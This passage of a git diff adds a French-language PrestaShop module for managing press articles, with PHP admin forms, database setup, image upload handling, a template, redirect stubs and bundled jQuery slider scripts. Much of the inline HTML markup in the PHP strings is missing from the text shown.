$this->name = 'devspepresse'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion des articles de presse'); + $this->description = $this->l('Administrer les articles de presse'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('actionShopDataDuplication')) + { + // /* Sets up configuration */ + // $res = Configuration::updateValue('devspepresse_WIDTH', '535'); + // $res &= Configuration::updateValue('devspepresse_HEIGHT', '300'); + // $res &= Configuration::updateValue('devspepresse_SPEED', '500'); + // $res &= Configuration::updateValue('devspepresse_PAUSE', '3000'); + // $res &= Configuration::updateValue('devspepresse_LOOP', '1'); + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + // if ($res) + // $this->installSamples(); + + return $res; + } + return false; + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspepresse_WIDTH'); + // $res &= Configuration::deleteByName('devspepresse_HEIGHT'); + // $res &= Configuration::deleteByName('devspepresse_SPEED'); + // $res &= Configuration::deleteByName('devspepresse_PAUSE'); + // $res &= Configuration::deleteByName('devspepresse_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* items */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspepresse` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspepresse_items` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_product` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspepresse_items_lang` ( + `id_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + `image` varchar(255) NOT NULL, + PRIMARY KEY (`id_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $items = $this->getitems(); + foreach ($items as $item) + { + $to_del = new Presse($item['id_item']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspepresse`, `'._DB_PREFIX_.'devspepresse_items`, `'._DB_PREFIX_.'devspepresse_items_lang`; + '); + } + + public function getContent() + { + // Languages preliminaries + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submititem') || Tools::isSubmit('delete_id_item') || + Tools::isSubmit('submititem_bis') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('additem') || (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets items */ + $items = $this->getitems(); + + /* Begin fieldset items */ + $this->_html .= ' +
          + '.$this->l('Gestion des articles de presse').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucun article de presse enregistré').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + #'.$item['id_item'].' '.$item['title'].' +

            '. + $this->displayStatus($item['id_item'], $item['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + public function getProductsItems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + // echo ' + // SELECT distinct(pl.id_product),cp.id_category,cl.name as category_name, pl.id_lang,cl.id_lang as category_lang,pl.name,cp.position + // FROM '._DB_PREFIX_.'product_lang pl + // left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + // left join '._DB_PREFIX_.'category_lang cl on(cl.id_category=cp.id_category) + // WHERE pl.id_lang = '.(int)$id_lang.' + // and (cp.id_category=3 + // or cp.id_category=4) + // ORDER BY cp.id_category desc,cp.position asc'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(pl.id_product),cp.id_category,cl.name as category_name,pl.id_lang,cl.id_lang as category_lang,pl.name,cp.position + FROM '._DB_PREFIX_.'product_lang pl + left join '._DB_PREFIX_.'category_product cp on(cp.id_product=pl.id_product) + left join '._DB_PREFIX_.'category_lang cl on(cl.id_category=cp.id_category) + WHERE pl.id_lang = '.(int)$id_lang.' + and cl.id_lang='.(int)$id_lang.' + and (cl.id_category=3 + or cl.id_category=4) + ORDER BY cp.id_category desc,cp.position asc'); + // pl.id_product + } + private function _displayAddForm() + { + /* Sets item : depends if edited or added */ + $item = null; + if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Presse((int)Tools::getValue('id_item')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'iimage¤image¤title¤url¤legend¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + $this->_html .= ' +
          +
          + 1 - '.$this->l('Téléchargez votre image').''; + /* Image */ + foreach ($languages as $language) + { + + if ($item && $item->image[$language['id_lang']]){ + $this->_html .= '
          '; + $this->_html .= ''; + $this->_html .= '
          '; + + } + } + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= '
          '; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($item && $item->image[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + // if ($item && $item->image[$language['id_lang']]) + // $this->_html .= ''; + $this->_html .= '
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + /* End Fieldset Upload */ + $this->_html .= '


          '; + + /* Legend */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'legend', true); + $this->_html .= '


          '; + + /* URL */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'url', true); + $this->_html .= '


          '; + + $this->_html .= '


          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('additem')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Ajoutez les textes').''; + elseif (Tools::isSubmit('id_item')) /* Edit legend */ + $this->_html .= ' 2 - '.$this->l('Modifiez les textes').''; + /* Sets id item as hidden */ + if ($item && Tools::getValue('id_item')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + + + $products=$this->getProductsItems(); + // print_r($themes); + $les_produits=''; + + /* produit parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_produits.'
          '; + $this->_html .= '


          '; + + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + /* Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

          '; + + + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$item->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$item->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs recquis').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for itemz configuration */ + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid item'); + } + /* Validation for item */ + elseif (Tools::isSubmit('submititem')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_item')) || (Tools::getValue('active_item') != 0 && Tools::getValue('active_item') != 1)) + $errors[] = $this->l('Invalid item state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid item position'); + /* If edit : checks id_item */ + if (Tools::isSubmit('id_item')) + { + if (!Validate::isInt(Tools::getValue('id_item')) && !$this->itemExists(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid id_item'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + if (Tools::strlen(Tools::getValue('legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The legend is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The URL is too long.'); + if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + $errors[] = $this->l('The description is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('url_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('legend_'.$id_lang_default)) == 0) + $errors[] = $this->l('The legend is not set.'); + // if (Tools::strlen(Tools::getValue('url_'.$id_lang_default)) == 0) + // $errors[] = $this->l('The URL is not set.'); + if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_item') && (!Validate::isInt(Tools::getValue('delete_id_item')) || !$this->itemExists((int)Tools::getValue('delete_id_item')))) + $errors[] = $this->l('Invalid id_item'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_item')) + { + $item = new Presse((int)Tools::getValue('id_item')); + if ($item->active == 0) + $item->active = 1; + else + $item->active = 0; + $res = $item->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes item */ + elseif (Tools::isSubmit('submititem')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Presse((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + else + $item = new Presse(); + /* Sets position */ + $item->position = (int)Tools::getValue('position'); + $item->id_product = (int)Tools::getValue('id_product'); + /* Sets active */ + $item->active = (int)Tools::getValue('active_item'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $item->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + // $item->subtitle[$language['id_lang']] = Tools::getValue('subtitle_'.$language['id_lang']); + $item->url[$language['id_lang']] = Tools::getValue('url_'.$language['id_lang']); + $item->legend[$language['id_lang']] = Tools::getValue('legend_'.$language['id_lang']); + $item->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + /* Uploads image and sets item */ + $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image_'.$language['id_lang']]) && + isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $item->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + $item->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_item')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_item')) + { + $item = new Presse((int)Tools::getValue('delete_id_item')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submititem') && Tools::getValue('id_item')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('submititem')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspepresse.tpl', $this->getCacheId())) + { + // $itemz = array( + // 'width' => Configuration::get('devspepresse_WIDTH'), + // 'height' => Configuration::get('devspepresse_HEIGHT'), + // 'speed' => Configuration::get('devspepresse_SPEED'), + // 'pause' => Configuration::get('devspepresse_PAUSE'), + // 'loop' => Configuration::get('devspepresse_LOOP'), + // ); + + $items = $this->getitems(true); + if (!$items) + return false; + + $this->smarty->assign('devspepresse_items', $items); + // $this->smarty->assign('devspepresse', $itemz); + } + + return true; + } + + public function hookDisplayHome() + { + /* + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxitemz.min.js'); + $this->context->controller->addCSS($this->_path.'devspepresse.css'); + $this->context->controller->addJS($this->_path.'js/devspepresse.js'); + return $this->display(__FILE__, 'devspepresse.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + $this->_clearCache('devspepresse.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspepresse (id_item, id_shop) + SELECT id_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspepresse + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'items configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspepresse_items` hss, `'._DB_PREFIX_.'devspepresse` hs + WHERE hss.`id_item` = hs.`id_item` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getitems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_item` as id_item, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`title`, + hssl.`url`, + hssl.`legend`, + hssl.`description` + FROM '._DB_PREFIX_.'devspepresse hs + LEFT JOIN '._DB_PREFIX_.'devspepresse_items hss ON (hs.id_item = hss.id_item) + LEFT JOIN '._DB_PREFIX_.'devspepresse_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_item, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function itemExists($id_item) + { + $req = 'SELECT hs.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspepresse` hs + WHERE hs.`id_item` = '.(int)$id_item; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspepresse/devspepresse.tpl b/modules/devspepresse/devspepresse.tpl new file mode 100755 index 0000000..5e1c9fe --- /dev/null +++ b/modules/devspepresse/devspepresse.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($devspehomeblocks_slides)} + +{/if} + diff --git a/modules/devspepresse/gray_next.png b/modules/devspepresse/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/devspepresse/gray_next.png differ diff --git a/modules/devspepresse/gray_next0.png b/modules/devspepresse/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/devspepresse/gray_next0.png differ diff --git a/modules/devspepresse/gray_pager.png b/modules/devspepresse/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/devspepresse/gray_pager.png differ diff --git a/modules/devspepresse/gray_prev.png b/modules/devspepresse/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/devspepresse/gray_prev.png differ diff --git a/modules/devspepresse/gray_prev0.png b/modules/devspepresse/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/devspepresse/gray_prev0.png differ diff --git a/modules/devspepresse/index.php b/modules/devspepresse/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspepresse/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspepresse/js/homeslider.js b/modules/devspepresse/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspepresse/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspepresse/js/index.php b/modules/devspepresse/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspepresse/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspepresse/js/jquery.bxSlider.min.js b/modules/devspepresse/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspepresse/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} 